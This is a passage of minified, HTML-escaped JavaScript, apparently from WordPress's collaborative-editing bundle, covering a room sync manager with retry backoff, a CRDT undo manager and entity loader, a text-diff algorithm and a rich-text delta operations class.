update&quot;),s.updateQueue.add(sd(r.compaction_request)))}),gn&amp;&amp;Es?Ct=Wo:gn?Ct=er:Ct=Xo}catch(e){Ct=Math.min(Ct*2,qo);for(let r of t.rooms){if(!R.has(r.room))continue;let s=R.get(r.room);r.updates.length&gt;0&amp;&amp;s.endCursor&gt;0?(s.updateQueue.clear(),s.updateQueue.add(s.createCompactionUpdate())):r.updates.length&gt;0&amp;&amp;s.updateQueue.restore(r.updates),s.log(&quot;Error posting sync update, will retry with backoff&quot;,{error:e,nextPoll:Ct},&quot;error&quot;,!0)}Cs||R.forEach(r=&gt;{r.onStatusChange({status:&quot;disconnected&quot;,canManuallyRetry:!0,willAutoRetryInMs:Ct})})}Pt=setTimeout(rr,Ct)}n()}function dd({room:n,doc:t,awareness:e,log:r,onSync:s,onStatusChange:i}){if(R.has(n))return;let o=ec([id(t)]),c=R.size===0;function l(){u.localAwarenessState=e.getLocalState()??{}}function a(h,f){if(mn!==f){if(h.byteLength&gt;ys){let p=R.get(n);if(!p)return;p.log(&quot;Document size limit exceeded&quot;,{maxUpdateSizeInBytes:ys,updateSizeInBytes:h.byteLength}),p.onStatusChange({status:&quot;disconnected&quot;,error:new ps(Pe.DOCUMENT_SIZE_LIMIT_EXCEEDED,&quot;Document size limit exceeded&quot;)}),Ds(n)}o.add(je(h,K.UPDATE))}}function d(){t.off(&quot;updateV2&quot;,a),e.off(&quot;change&quot;,l),o.clear()}let u={clientId:t.clientID,createCompactionUpdate:()=&gt;je(Vt(t),K.COMPACTION),endCursor:0,isPrimaryRoom:c,localAwarenessState:e.getLocalState()??{},log:r,onStatusChange:i,processAwarenessUpdate:h=&gt;cd(h,e),processDocUpdate:h=&gt;ld(h,t,s),room:n,unregister:d,updateQueue:o};t.on(&quot;updateV2&quot;,a),e.on(&quot;change&quot;,l),R.set(n,u),nr||(window.addEventListener(&quot;beforeunload&quot;,ic),window.addEventListener(&quot;pagehide&quot;,oc),document.addEventListener(&quot;visibilitychange&quot;,cc),nr=!0),_s||rr()}function Ds(n){let t=R.get(n);if(t){let e=[{after:0,awareness:null,client_id:t.clientId,room:n,updates:[]}];bs({rooms:e}),t.unregister(),R.delete(n)}R.size===0&amp;&amp;nr&amp;&amp;(window.removeEventListener(&quot;beforeunload&quot;,ic),window.removeEventListener(&quot;pagehide&quot;,oc),document.removeEventListener(&quot;visibilitychange&quot;,cc),nr=!1,ks=!1)}function ud(){Ct=er*2,Pt&amp;&amp;(clearTimeout(Pt),Pt=null,rr())}var wn={registerRoom:dd,retryNow:ud,unregisterRoom:Ds};var hd=class extends Dt{constructor(n){super(),this.options=n,this.log(&quot;Initializing&quot;,{room:n.room}),this.awareness=n.awareness??new Ve(n.ydoc),this.connect()}awareness;status=&quot;disconnected&quot;;synced=!1;connect(){this.log(&quot;Connecting&quot;),wn.registerRoom({room:this.options.room,doc:this.options.ydoc,awareness:this.awareness,log:this.log,onStatusChange:this.emitStatus,onSync:this.onSync})}destroy(){this.disconnect(),super.destroy()}disconnect(){this.log(&quot;Disconnecting&quot;),wn.unregisterRoom(this.options.room),this.emitStatus({status:&quot;disconnected&quot;})}emitStatus=n=&gt;{let{status:t}=n,e=t===&quot;disconnected&quot;?n.error:void 0;this.status===t&amp;&amp;!e||t===&quot;connecting&quot;&amp;&amp;this.status!==&quot;disconnected&quot;||(this.log(&quot;Status change&quot;,{status:t,error:e}),this.status=t,this.emit(&quot;status&quot;,[n]))};log=(n,t={},e=&quot;log&quot;,r=!1)=&gt;{if(!this.options.debug&amp;&amp;!r)return;(console[e]||console.log)(`[${this.constructor.name}]: ${n}`,{room:this.options.room,...t})};onSync=()=&gt;{this.synced||(this.synced=!0,this.log(&quot;Synced&quot;))}};function lc(){return async({awareness:n,objectType:t,objectId:e,ydoc:r})=&gt;{let s=e?`${t}:${e}`:t,i=new hd({awareness:n,room:s,ydoc:r});return{destroy:()=&gt;i.destroy(),on:(o,c)=&gt;{i.on(o,c)}}}}var Fe=null;function fd(){return[lc()]}function pd(n){return typeof n==&quot;function&quot;}function As(){if(Fe)return Fe;if(!window._wpCollaborationEnabled)return[];let n=(0,ac.applyFilters)(&quot;sync.providers&quot;,fd());return Array.isArray(n)?(Fe=n.filter(pd),Fe):(Fe=[],Fe)}var dc=(n,t)=&gt;{let e=t===&quot;undo&quot;?n.undoStack:n.redoStack;for(;e.length&gt;0;){let r=e.pop(),s=t===&quot;undo&quot;?r.undoStack:r.redoStack,i=s.pop(),o=!1;if(t===&quot;undo&quot;?(r.undoStack=[i],o=r.undo()!==null,r.undoStack=s):(r.redoStack=[i],o=r.redo()!==null,r.redoStack=s),o)return i}return null},uc=class extends we{constructor(n=[],t={}){super(),this.docs=new Map,this.trackedOrigins=t.trackedOrigins||new Set([null]),t.trackedOrigins=this.trackedOrigins,this._defaultOpts=t,this.undoStack=[],this.redoStack=[],this.addToScope(n)}addToScope(n){n=zt(n)?n:[n],n.forEach(t=&gt;{let e=t.doc,r=N(this.docs,e,()=&gt;{let s=new te([t],this._defaultOpts);return s.on(&quot;stack-cleared&quot;,({undoStackCleared:i,redoStackCleared:o})=&gt;{this.clear(i,o)}),e.on(&quot;destroy&quot;,()=&gt;{this.docs.delete(e),this.undoStack=this.undoStack.filter(i=&gt;i.doc!==e),this.redoStack=this.redoStack.filter(i=&gt;i.doc!==e)}),s.on(&quot;stack-item-added&quot;,i=&gt;{(i.type===&quot;undo&quot;?this.undoStack:this.redoStack).push(s),this.emit(&quot;stack-item-added&quot;,[{...i,ydoc:e},this])}),s.on(&quot;stack-item-updated&quot;,i=&gt;{this.emit(&quot;stack-item-updated&quot;,[{...i,ydoc:e},this])}),s.on(&quot;stack-item-popped&quot;,i=&gt;{this.emit(&quot;stack-item-popped&quot;,[{...i,ydoc:e},this])}),s});r.scope.every(s=&gt;s!==t)&amp;&amp;r.scope.push(t)})}addTrackedOrigin(n){this.trackedOrigins.add(n)}removeTrackedOrigin(n){this.trackedOrigins.delete(n)}undo(){return dc(this,&quot;undo&quot;)}redo(){return dc(this,&quot;redo&quot;)}clear(n=!0,t=!0){(n&amp;&amp;this.canUndo()||t&amp;&amp;this.canRedo())&amp;&amp;(this.docs.forEach(e=&gt;{n&amp;&amp;(this.undoStack=[]),t&amp;&amp;(this.redoStack=[]),e.clear(n,t)}),this.emit(&quot;stack-cleared&quot;,[{undoStackCleared:n,redoStackCleared:t}]))}stopCapturing(){this.docs.forEach(n=&gt;{n.stopCapturing()})}canUndo(){return this.undoStack.length&gt;0}canRedo(){return this.redoStack.length&gt;0}destroy(){this.docs.forEach(n=&gt;n.destroy()),super.destroy()}};function hc(){let n=new uc([],{captureTimeout:500,trackedOrigins:new Set([Zn])});return{addRecord(t,e=!1){},addToScope(t,e){if(t.doc===null)return;let r=t.doc;n.addToScope(t);let{addUndoMeta:s,restoreUndoMeta:i}=e;n.on(&quot;stack-item-added&quot;,o=&gt;{s(r,o.stackItem.meta)}),n.on(&quot;stack-item-popped&quot;,o=&gt;{i(r,o.stackItem.meta)})},undo(){if(n.canUndo())return n.undo(),[]},redo(){if(n.canRedo())return n.redo(),[]},hasUndo(){return n.canUndo()},hasRedo(){return n.canRedo()},stopCapturing(){n.stopCapturing()}}}function sr(n={}){let t=new Map(Object.entries(n));return new mt({meta:t})}function Us(n){n.getMap(Be).set(Mo,Lo)}function Is(n){let t=n.getMap(Be);t.set(de,Date.now()),t.set(No,n.clientID)}function fc(){return Math.floor(Math.random()*1e9)}function pc(n){return JSON.stringify({document:yi(Vt(n)),updateId:fc()})}function gc(n){try{let{document:t}=JSON.parse(n),e={[Xn]:!0},r=sr(e),s=Si(t);return St(r,s),r.clientID=fc(),r}catch{return null}}function jt(n,t){return`${n}_${t}`}function mc(n=!1){let t=n?Fo:Yo,e=new Map,r=new Map,s;function i(g,m,w,y={}){n&amp;&amp;console.log(`[SyncManager][${g}]: ${m}`,{...y,entityId:w})}async function o(g,m,w,y,E){let k=As(),D=jt(m,w);if(k.length===0){i(&quot;loadEntity&quot;,&quot;no providers, skipping&quot;,D);return}if(r.has(D)){i(&quot;loadEntity&quot;,&quot;already loaded&quot;,D);return}i(&quot;loadEntity&quot;,&quot;loading&quot;,D),E={addUndoMeta:t(E.addUndoMeta),editRecord:t(E.editRecord),getEditedRecord:t(E.getEditedRecord),onStatusChange:t(E.onStatusChange),persistCRDTDoc:t(E.persistCRDTDoc),refetchRecord:t(E.refetchRecord),restoreUndoMeta:t(E.restoreUndoMeta)};let I=sr({objectType:m}),F=I.getMap(Qn),L=I.getMap(Be),xt=Date.now(),Z=()=&gt;{i(&quot;loadEntity&quot;,&quot;unloading&quot;,D),kc.forEach(ge=&gt;ge.destroy()),E.onStatusChange(null),F.unobserveDeep(at),L.unobserve(st),I.destroy(),r.delete(D)},fe=g.createAwareness?.(I,w),at=(ge,Ft)=&gt;{Ft.local&amp;&amp;!(Ft.origin instanceof te)||p.updateEntityRecord(m,w)},st=(ge,Ft)=&gt;{Ft.local||ge.keysChanged.forEach(_c=&gt;{if(_c===de){let Bs=L.get(de);typeof Bs==&quot;number&quot;&amp;&amp;Bs&gt;xt&amp;&amp;(i(&quot;loadEntity&quot;,&quot;refetching record&quot;,D),E.refetchRecord().catch(()=&gt;{}))}})};s||(s=hc());let{addUndoMeta:Ye,restoreUndoMeta:pe}=E;s.addToScope(F,{addUndoMeta:Ye,restoreUndoMeta:pe});let yn={awareness:fe,handlers:E,objectId:w,objectType:m,syncConfig:g,unload:Z,ydoc:I};r.set(D,yn),i(&quot;loadEntity&quot;,&quot;connecting&quot;,D);let kc=await Promise.all(k.map(async ge=&gt;{let Ft=await ge({objectType:m,objectId:w,ydoc:I,awareness:fe});return Ft.on(&quot;status&quot;,E.onStatusChange),Ft}));F.observeDeep(at),L.observe(st),Us(I),p.applyPersistedCrdtDoc(m,w,y)}async function c(g,m,w){let y=As(),E=jt(m,null);if(y.length===0){i(&quot;loadCollection&quot;,&quot;no providers, skipping&quot;,E);return}if(e.has(m)){i(&quot;loadCollection&quot;,&quot;already loaded&quot;,E);return}i(&quot;loadCollection&quot;,&quot;loading&quot;,E);let k=sr({collection:!0,objectType:m}),D=k.getMap(Be),I=Date.now(),F=()=&gt;{i(&quot;loadCollection&quot;,&quot;unloading&quot;,E),fe.forEach(at=&gt;at.destroy()),w.onStatusChange(null),D.unobserve(L),k.destroy(),e.delete(m)},L=(at,st)=&gt;{st.local||at.keysChanged.forEach(Ye=&gt;{if(Ye===de){let pe=D.get(de);typeof pe==&quot;number&quot;&amp;&amp;pe&gt;I&amp;&amp;w.refetchRecords().catch(()=&gt;{})}})},xt=g.createAwareness?.(k),Z={awareness:xt,handlers:w,syncConfig:g,unload:F,ydoc:k};e.set(m,Z),i(&quot;loadCollection&quot;,&quot;connecting&quot;,E);let fe=await Promise.all(y.map(async at=&gt;{let st=await at({awareness:xt,objectType:m,objectId:null,ydoc:k});return st.on(&quot;status&quot;,w.onStatusChange),st}));D.observe(L),Us(k)}function l(g,m){let w=jt(g,m);i(&quot;unloadEntity&quot;,&quot;unloading&quot;,w),r.get(w)?.unload(),u(g,null,{},origin,{isSave:!0})}function a(g,m){let w=jt(g,m),y=r.get(w);if(!(!y||!y.awareness))return y.awareness}function d(g,m,w){let y=jt(g,m),E=r.get(y);if(!E){i(&quot;applyPersistedCrdtDoc&quot;,&quot;no entity state&quot;,y);return}let{handlers:k,syncConfig:{applyChangesToCRDTDoc:D,getChangesFromCRDTDoc:I,getPersistedCRDTDoc:F},ydoc:L}=E,xt=F?.(w),Z=xt?gc(xt):null;if(!Z){i(&quot;applyPersistedCrdtDoc&quot;,&quot;no persisted doc&quot;,y),L.transact(()=&gt;{D(L,w),k.persistCRDTDoc()},fs);return}let fe=Vt(Z);St(L,fe);let at=I(Z,w),st=Object.keys(at);if(Z.destroy(),st.length===0){i(&quot;applyPersistedCrdtDoc&quot;,&quot;valid persisted doc&quot;,y);return}i(&quot;applyPersistedCrdtDoc&quot;,&quot;invalidated keys&quot;,y,{invalidatedKeys:st});let Ye=st.reduce((pe,yn)=&gt;Object.assign(pe,{[yn]:w[yn]}),{});L.transact(()=&gt;{D(L,Ye),k.persistCRDTDoc()},fs)}function u(g,m,w,y,E={}){let{isSave:k=!1,isNewUndoLevel:D=!1}=E,I=jt(g,m),F=r.get(I),L=e.get(g);if(F){let{syncConfig:xt,ydoc:Z}=F;D&amp;&amp;s&amp;&amp;s.stopCapturing?.(),Z.transact(()=&gt;{i(&quot;updateCRDTDoc&quot;,&quot;applying changes&quot;,I,{changedKeys:Object.keys(w)}),xt.applyChangesToCRDTDoc(Z,w),k&amp;&amp;Is(Z)},y)}L&amp;&amp;k&amp;&amp;L.ydoc.transact(()=&gt;{Is(L.ydoc)},y)}async function h(g,m){let w=jt(g,m),y=r.get(w);if(!y){i(&quot;updateEntityRecord&quot;,&quot;no entity state&quot;,w);return}let{handlers:E,syncConfig:k,ydoc:D}=y,I=k.getChangesFromCRDTDoc(D,await E.getEditedRecord()),F=Object.keys(I);F.length!==0&amp;&amp;(i(&quot;updateEntityRecord&quot;,&quot;changes&quot;,w,{changedKeys:F}),E.editRecord(I))}async function f(g,m){let w=jt(g,m),y=r.get(w);return y?.ydoc?(await new Promise(E=&gt;setTimeout(E,0)),pc(y.ydoc)):null}let p={applyPersistedCrdtDoc:t(d),updateEntityRecord:t(h)};return{createPersistedCRDTDoc:t(f),getAwareness:a,load:t(o),loadCollection:t(c),get undoManager(){return s},unload:t(l),update:t(zo(u))}}var ue=class{diff(t,e,r={}){let s;typeof r==&quot;function&quot;?(s=r,r={}):&quot;callback&quot;in r&amp;&amp;(s=r.callback);let i=this.castInput(t,r),o=this.castInput(e,r),c=this.removeEmpty(this.tokenize(i,r)),l=this.removeEmpty(this.tokenize(o,r));return this.diffWithOptionsObj(c,l,r,s)}diffWithOptionsObj(t,e,r,s){var i;let o=y=&gt;{if(y=this.postProcess(y,r),s){setTimeout(function(){s(y)},0);return}else return y},c=e.length,l=t.length,a=1,d=c+l;r.maxEditLength!=null&amp;&amp;(d=Math.min(d,r.maxEditLength));let u=(i=r.timeout)!==null&amp;&amp;i!==void 0?i:1/0,h=Date.now()+u,f=[{oldPos:-1,lastComponent:void 0}],p=this.extractCommon(f[0],e,t,0,r);if(f[0].oldPos+1&gt;=l&amp;&amp;p+1&gt;=c)return o(this.buildValues(f[0].lastComponent,e,t));let g=-1/0,m=1/0,w=()=&gt;{for(let y=Math.max(g,-a);y&lt;=Math.min(m,a);y+=2){let E,k=f[y-1],D=f[y+1];k&amp;&amp;(f[y-1]=void 0);let I=!1;if(D){let L=D.oldPos-y;I=D&amp;&amp;0&lt;=L&amp;&amp;L&lt;c}let F=k&amp;&amp;k.oldPos+1&lt;l;if(!I&amp;&amp;!F){f[y]=void 0;continue}if(!F||I&amp;&amp;k.oldPos&lt;D.oldPos?E=this.addToPath(D,!0,!1,0,r):E=this.addToPath(k,!1,!0,1,r),p=this.extractCommon(E,e,t,y,r),E.oldPos+1&gt;=l&amp;&amp;p+1&gt;=c)return o(this.buildValues(E.lastComponent,e,t))||!0;f[y]=E,E.oldPos+1&gt;=l&amp;&amp;(m=Math.min(m,y-1)),p+1&gt;=c&amp;&amp;(g=Math.max(g,y+1))}a++};if(s)(function y(){setTimeout(function(){if(a&gt;d||Date.now()&gt;h)return s(void 0);w()||y()},0)})();else for(;a&lt;=d&amp;&amp;Date.now()&lt;=h;){let y=w();if(y)return y}}addToPath(t,e,r,s,i){let o=t.lastComponent;return o&amp;&amp;!i.oneChangePerToken&amp;&amp;o.added===e&amp;&amp;o.removed===r?{oldPos:t.oldPos+s,lastComponent:{count:o.count+1,added:e,removed:r,previousComponent:o.previousComponent}}:{oldPos:t.oldPos+s,lastComponent:{count:1,added:e,removed:r,previousComponent:o}}}extractCommon(t,e,r,s,i){let o=e.length,c=r.length,l=t.oldPos,a=l-s,d=0;for(;a+1&lt;o&amp;&amp;l+1&lt;c&amp;&amp;this.equals(r[l+1],e[a+1],i);)a++,l++,d++,i.oneChangePerToken&amp;&amp;(t.lastComponent={count:1,previousComponent:t.lastComponent,added:!1,removed:!1});return d&amp;&amp;!i.oneChangePerToken&amp;&amp;(t.lastComponent={count:d,previousComponent:t.lastComponent,added:!1,removed:!1}),t.oldPos=l,a}equals(t,e,r){return r.comparator?r.comparator(t,e):t===e||!!r.ignoreCase&amp;&amp;t.toLowerCase()===e.toLowerCase()}removeEmpty(t){let e=[];for(let r=0;r&lt;t.length;r++)t[r]&amp;&amp;e.push(t[r]);return e}castInput(t,e){return t}tokenize(t,e){return Array.from(t)}join(t){return t.join(&quot;&quot;)}postProcess(t,e){return t}get useLongestToken(){return!1}buildValues(t,e,r){let s=[],i;for(;t;)s.push(t),i=t.previousComponent,delete t.previousComponent,t=i;s.reverse();let o=s.length,c=0,l=0,a=0;for(;c&lt;o;c++){let d=s[c];if(d.removed)d.value=this.join(r.slice(a,a+d.count)),a+=d.count;else{if(!d.added&amp;&amp;this.useLongestToken){let u=e.slice(l,l+d.count);u=u.map(function(h,f){let p=r[a+f];return p.length&gt;h.length?p:h}),d.value=this.join(u)}else d.value=this.join(e.slice(l,l+d.count));l+=d.count,d.added||(a+=d.count)}}return s}};var Ts=class extends ue{},wc=new Ts;function ir(n,t,e){return wc.diff(n,t,e)}var vs=class extends ue{constructor(){super(...arguments),this.tokenize=gd}equals(t,e,r){return r.ignoreWhitespace?((!r.newlineIsToken||!t.includes(`
`))&amp;&amp;(t=t.trim()),(!r.newlineIsToken||!e.includes(`
`))&amp;&amp;(e=e.trim())):r.ignoreNewlineAtEof&amp;&amp;!r.newlineIsToken&amp;&amp;(t.endsWith(`
`)&amp;&amp;(t=t.slice(0,-1)),e.endsWith(`
`)&amp;&amp;(e=e.slice(0,-1))),super.equals(t,e,r)}},yc=new vs;function Os(n,t,e){return yc.diff(n,t,e)}function gd(n,t){t.stripTrailingCr&amp;&amp;(n=n.replace(/\r\n/g,`
`));let e=[],r=n.split(/(\n|\r\n)/);r[r.length-1]||r.pop();for(let s=0;s&lt;r.length;s++){let i=r[s];s%2&amp;&amp;!t.newlineIsToken?e[e.length-1]+=i:e.push(i)}return e}var or=Yt(Ls(),1);var xc=Yt(Ls(),1);function md(n){return JSON.parse(JSON.stringify(n))}var Ns;(n=&gt;{function t(i={},o={},c=!1){typeof i!=&quot;object&quot;&amp;&amp;(i={}),typeof o!=&quot;object&quot;&amp;&amp;(o={});let l=md(o);c||(l=Object.keys(l).reduce((a,d)=&gt;((l[d]!==null||l[d]!==void 0)&amp;&amp;(a[d]=l[d]),a),{}));for(let a in i)i[a]!==void 0&amp;&amp;o[a]===void 0&amp;&amp;(l[a]=i[a]);return Object.keys(l).length&gt;0?l:void 0}n.compose=t;function e(i={},o={}){typeof i!=&quot;object&quot;&amp;&amp;(i={}),typeof o!=&quot;object&quot;&amp;&amp;(o={});let c=Object.keys(i).concat(Object.keys(o)).reduce((l,a)=&gt;((0,xc.default)(i[a],o[a])||(l[a]=o[a]===void 0?null:o[a]),l),{});return Object.keys(c).length&gt;0?c:void 0}n.diff=e;function r(i={},o={}){i=i||{};let c=Object.keys(o).reduce((l,a)=&gt;(o[a]!==i[a]&amp;&amp;i[a]!==void 0&amp;&amp;(l[a]=o[a]),l),{});return Object.keys(i).reduce((l,a)=&gt;(i[a]!==o[a]&amp;&amp;o[a]===void 0&amp;&amp;(l[a]=null),l),c)}n.invert=r;function s(i,o,c=!1){if(typeof i!=&quot;object&quot;)return o;if(typeof o!=&quot;object&quot;)return;if(!c)return o;let l=Object.keys(o).reduce((a,d)=&gt;(i[d]===void 0&amp;&amp;(a[d]=o[d]),a),{});return Object.keys(l).length&gt;0?l:void 0}n.transform=s})(Ns||(Ns={}));var he=Ns;var Ms;(n=&gt;{function t(e){return typeof e.delete==&quot;number&quot;?e.delete:typeof e.retain==&quot;number&quot;?e.retain:typeof e.retain==&quot;object&quot;&amp;&amp;e.retain!==null?1:typeof e.insert==&quot;string&quot;?e.insert.length:1}n.length=t})(Ms||(Ms={}));var rt=Ms;var H=class{ops;index;offset;constructor(n){this.ops=n,this.index=0,this.offset=0}hasNext(){return this.peekLength()&lt;1/0}next(n){n||(n=1/0);let t=this.ops[this.index];if(t){let e=this.offset,r=rt.length(t);if(n&gt;=r-e?(n=r-e,this.index+=1,this.offset=0):this.offset+=n,typeof t.delete==&quot;number&quot;)return{delete:n};let s={};return t.attributes&amp;&amp;(s.attributes=t.attributes),typeof t.retain==&quot;number&quot;?s.retain=n:typeof t.retain==&quot;object&quot;&amp;&amp;t.retain!==null?s.retain=t.retain:typeof t.insert==&quot;string&quot;?s.insert=t.insert.substr(e,n):s.insert=t.insert,s}return{retain:1/0}}peek(){return this.ops[this.index]}peekLength(){return this.ops[this.index]?rt.length(this.ops[this.index])-this.offset:1/0}peekType(){let n=this.ops[this.index];return n?typeof n.delete==&quot;number&quot;?&quot;delete&quot;:typeof n.retain==&quot;number&quot;||typeof n.retain==&quot;object&quot;&amp;&amp;n.retain!==null?&quot;retain&quot;:&quot;insert&quot;:&quot;retain&quot;}rest(){if(this.hasNext()){if(this.offset===0)return this.ops.slice(this.index)}else return[];let n=this.offset,t=this.index,e=this.next(),r=this.ops.slice(this.index);return this.offset=n,this.index=t,[e].concat(r)}};function wd(n){return JSON.parse(JSON.stringify(n))}var yd=&quot;\0&quot;,Sd=1e4;function Rs(n){return n.map(t=&gt;({...t,count:t.value.length}))}var bc=(n,t)=&gt;{if(typeof n!=&quot;object&quot;||n===null)throw new Error(`cannot retain a ${typeof n}`);if(typeof t!=&quot;object&quot;||t===null)throw new Error(`cannot retain a ${typeof t}`);let e=Object.keys(n)[0];if(!e||e!==Object.keys(t)[0])throw new Error(`embed types not matched: ${e} != ${Object.keys(t)[0]}`);return[e,n[e],t[e]]},xd=class q{static Op=rt;static OpIterator=H;static AttributeMap=he;static handlers={};static registerEmbed(t,e){this.handlers[t]=e}static unregisterEmbed(t){delete this.handlers[t]}static getHandler(t){let e=this.handlers[t];if(!e)throw new Error(`no handlers for embed type &quot;${t}&quot;`);return e}ops;constructor(t){Array.isArray(t)?this.ops=t:t!=null&amp;&amp;Array.isArray(t.ops)?this.ops=t.ops:this.ops=[]}insert(t,e){let r={};return typeof t==&quot;string&quot;&amp;&amp;t.length===0?this:(r.insert=t,e!=null&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;Object.keys(e).length&gt;0&amp;&amp;(r.attributes=e),this.push(r))}delete(t){return t&lt;=0?this:this.push({delete:t})}retain(t,e){if(typeof t==&quot;number&quot;&amp;&amp;t&lt;=0)return this;let r={retain:t};return e!=null&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;Object.keys(e).length&gt;0&amp;&amp;(r.attributes=e),this.push(r)}push(t){let e=this.ops.length,r=this.ops[e-1];if(t=wd(t),typeof r==&quot;object&quot;){if(typeof t.delete==&quot;number&quot;&amp;&amp;typeof r.delete==&quot;number&quot;)return this.ops[e-1]={delete:r.delete+t.delete},this;if(typeof r.delete==&quot;number&quot;&amp;&amp;t.insert!==null&amp;&amp;t.insert!==void 0&amp;&amp;(e-=1,r=this.ops[e-1],typeof r!=&quot;object&quot;))return this.ops.unshift(t),this;if((0,or.default)(t.attributes,r.attributes)){if(typeof t.insert==&quot;string&quot;&amp;&amp;typeof r.insert==&quot;string&quot;)return this.ops[e-1]={insert:r.insert+t.insert},typeof t.attributes==&quot;object&quot;&amp;&amp;(this.ops[e-1].attributes=t.attributes),this;if(typeof t.retain==&quot;number&quot;&amp;&amp;typeof r.retain==&quot;number&quot;)return this.ops[e-1]={retain:r.retain+t.retain},typeof t.attributes==&quot;object&quot;&amp;&amp;(this.ops[e-1].attributes=t.attributes),this}}return e===this.ops.length?this.ops.push(t):this.ops.splice(e,0,t),this}chop(){let t=this.ops[this.ops.length-1];return t&amp;&amp;typeof t.retain==&quot;number&quot;&amp;&amp;!t.attributes&amp;&amp;this.ops.pop(),this}filter(t){return this.ops.filter(t)}forEach(t){this.ops.forEach(t)}map(t){return this.ops.map(t)}partition(t){let e=[],r=[];return this.forEach(s=&gt;{(t(s)?e:r).push(s)}),[e,r]}reduce(t,e){return this.ops.reduce(t,e)}changeLength(){return this.reduce((t,e)=&gt;e.insert?t+rt.length(e):e.delete?t-e.delete:t,0)}length(){return this.reduce((t,e)=&gt;t+rt.length(e),0)}slice(t=0,e=1/0){let r=[],s=new H(this.ops),i=0;for(;i&lt;e&amp;&amp;s.hasNext();){let o;i&lt;t?o=s.next(t-i):(o=s.next(e-i),r.push(o)),i+=rt.length(o)}return new q(r)}compose(t){let e=new H(this.ops),r=new H(t.ops),s=[],i=r.peek();if(i!=null&amp;&amp;typeof i.retain==&quot;number&quot;&amp;&amp;(i.attributes===null||i.attributes===void 0)){let c=i.retain;for(;e.peekType()===&quot;insert&quot;&amp;&amp;e.peekLength()&lt;=c;)c-=e.peekLength(),s.push(e.next());i.retain-c&gt;0&amp;&amp;r.next(i.retain-c)}let o=new q(s);for(;e.hasNext()||r.hasNext();)if(r.peekType()===&quot;insert&quot;)o.push(r.next());else if(e.peekType()===&quot;delete&quot;)o.push(e.next());else{let c=Math.min(e.peekLength(),r.peekLength()),l=e.next(c),a=r.next(c);if(a.retain){let d={};if(typeof l.retain==&quot;number&quot;)d.retain=typeof a.retain==&quot;number&quot;?c:a.retain;else if(typeof a.retain==&quot;number&quot;)l.retain===null||l.retain===void 0?d.insert=l.insert:d.retain=l.retain;else{let h=l.retain===null||l.retain===void 0?&quot;insert&quot;:&quot;retain&quot;,[f,p,g]=bc(l[h],a.retain),m=q.getHandler(f);d[h]={[f]:m.compose(p,g,h===&quot;retain&quot;)}}let u=he.compose(l.attributes,a.attributes,typeof l.retain==&quot;number&quot;);if(u&amp;&amp;(d.attributes=u),o.push(d),!r.hasNext()&amp;&amp;(0,or.default)(o.ops[o.ops.length-1],d)){let h=new q(e.rest());return o.concat(h).chop()}}else typeof a.delete==&quot;number&quot;&amp;&amp;(typeof l.retain==&quot;number&quot;||typeof l.retain==&quot;object&quot;&amp;&amp;l.retain!==null)&amp;&amp;o.push(a)}return o.chop()}concat(t){let e=new q(this.ops.slice());return t.ops.length&gt;0&amp;&amp;(e.push(t.ops[0]),e.ops=e.ops.concat(t.ops.slice(1))),e}diff(t){if(this.ops===t.ops)return new q;let e=this.deltasToStrings(t),r=Rs(ir(e[0],e[1])),s=new H(this.ops),i=new H(t.ops);return this.convertChangesToDelta(r,s,i).chop()}eachLine(t,e=`
`){let r=new H(this.ops),s=new q,i=0;for(;r.hasNext();){if(r.peekType()!==&quot;insert&quot;)return;let o=r.peek(),c=rt.length(o)-r.peekLength(),l=typeof o.insert==&quot;string&quot;?o.insert.indexOf(e,c)-c:-1;if(l&lt;0)s.push(r.next());else if(l&gt;0)s.push(r.next(l));else{if(t(s,r.next(1).attributes||{},i)===!1)return;i+=1,s=new q}}s.length()&gt;0&amp;&amp;t(s,{},i)}invert(t){let e=new q;return this.reduce((r,s)=&gt;{if(s.insert)e.delete(rt.length(s));else{if(typeof s.retain==&quot;number&quot;&amp;&amp;(s.attributes===null||s.attributes===void 0))return e.retain(s.retain),r+s.retain;if(s.delete||typeof s.retain==&quot;number&quot;){let i=s.delete||s.retain;return t.slice(r,r+i).forEach(c=&gt;{s.delete?e.push(c):s.retain&amp;&amp;s.attributes&amp;&amp;e.retain(rt.length(c),he.invert(s.attributes,c.attributes))}),r+i}else if(typeof s.retain==&quot;object&quot;&amp;&amp;s.retain!==null){let i=t.slice(r,r+1),o=new H(i.ops).next(),[c,l,a]=bc(s.retain,o.insert),d=q.getHandler(c);return e.retain({[c]:d.invert(l,a)},he.invert(s.attributes,o.attributes)),r+1}}return r},0),e.chop()}transform(t,e=!1){if(e=!!e,typeof t==&quot;number&quot;)return this.transformPosition(t,e);let r=t,s=new H(this.ops),i=new H(r.ops),o=new q;for(;s.hasNext()||i.hasNext();)if(s.peekType()===&quot;insert&quot;&amp;&amp;(e||i.peekType()!==&quot;insert&quot;))o.retain(rt.length(s.next()));else if(i.peekType()===&quot;insert&quot;)o.push(i.next());else{let c=Math.min(s.peekLength(),i.peekLength()),l=s.next(c),a=i.next(c);if(l.delete)continue;if(a.delete)o.push(a);else{let d=l.retain,u=a.retain,h=typeof u==&quot;object&quot;&amp;&amp;u!==null?u:c;if(typeof d==&quot;object&quot;&amp;&amp;d!==null&amp;&amp;typeof u==&quot;object&quot;&amp;&amp;u!==null){let f=Object.keys(d)[0];if(f===Object.keys(u)[0]){let p=q.getHandler(f);p&amp;&amp;(h={[f]:p.transform(d[f],u[f],e)})}}o.retain(h,he.transform(l.attributes,a.attributes,e))}}return o.chop()}transformPosition(t,e=!1){e=!!e;let r=new H(this.ops),s=0;for(;r.hasNext()&amp;&amp;s&lt;=t;){let i=r.peekLength(),o=r.peekType();if(r.next(),o===&quot;delete&quot;){t-=Math.min(i,t-s);continue}else o===&quot;insert&quot;&amp;&amp;(s&lt;t||!e)&amp;&amp;(t+=i);s+=i}return t}diffWithCursor(t,e){if(this.ops===t.ops)return new q;let r=this.deltasToStrings(t);if(Math.max(...r.map(u=&gt;u.length))&gt;Sd){let u=Rs(Os(r[0],r[1])),h=new H(this.ops),f=new H(t.ops);return this.convertChangesToDelta(u,h,f).chop()}else if(e===null)return this.diff(t);let i=Rs(ir(r[0],r[1])),o=0,c=[];for(let u=0;u&lt;i.length;u++){let h=i[u],f=o,p=o+(h.count??0),g=e&gt;f&amp;&amp;e&lt;=p,m=!h.added&amp;&amp;!h.removed,w=h.removed&amp;&amp;!h.added,y=i[u+1],E=y&amp;&amp;y.added&amp;&amp;!y.removed;if(m&amp;&amp;g&amp;&amp;E){let 